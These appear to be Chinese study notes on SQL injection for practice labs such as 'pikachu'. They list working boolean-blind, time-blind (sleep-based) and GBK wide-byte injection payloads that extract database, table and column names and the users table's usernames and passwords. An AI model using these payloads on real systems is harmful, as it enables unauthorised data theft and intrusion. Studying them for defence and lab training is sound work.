SQL注入第一步先输入 ' 使之出错,然后在寻找闭合点
如果存在闭合点,则为字符型,不是数字型数字型不管输入什么特殊字符,输出都是对的
若在GET请求中?id=1and1=1和?id=1and1=2都没有报错,则是字符型注入。
若在GET请求中?id=1and1=1没有报错,但是?id=1and 1=2有异常或没回显,则是数字型注入。一般都是用and(是因为and前面的语句我们都是知道了,前面必定是正确的,所以现在要判断后面语句是否正确就行)
使用or是不知道数据库里面的数据,使语句正确让语句输出
1' and 1=2 必错,不输出内容
1' or 1=1 必对,全部输出使用union时,前面要用-1
一、盲注(布尔)注入
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
pikachu靶场布尔型盲注:
vince'#
substr用法:
SUBSTR (str, pos)
截取从pos位置开始到最后的所有str字符串
当前库名:
vince' and (ascii(substr(database(),1,1)))=112#
所有库名:
vince' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=115#
二、盲注(时间)注入
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
含义:
利用了应用程序在处理查询时引入延迟的特性,攻击者通过构造延时函数,并观察应用程序的响应时间来推断查询的真假,由此获取数据。
盲注(时间)输入没有效果,攻击者通过休眠来判断是否存在SQL注入
and和or
"and"前面为假后面不执行
or 有一个为真就是真
pikachu靶场时间型盲注:
admin' or sleep(2)#
IF表达式
IF(expr1,expr2,expr3);
如果expr1为TRUE,则IF()返回值为expr2,否则返回值为expr3
注入获取数据:
admin' or if(ascii(substr(database(),1,1))>120,sleep(2),0)#
输入50:
遇到问题:空格问题
三、宽字节注入
\' 变为字符
宽字节:
PHP中使用addslashes函数会在'前面加\,形成\'
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
kobe%df' or 1=1 #
lili%df' or 1=1 #
admin%df'union select 1,2#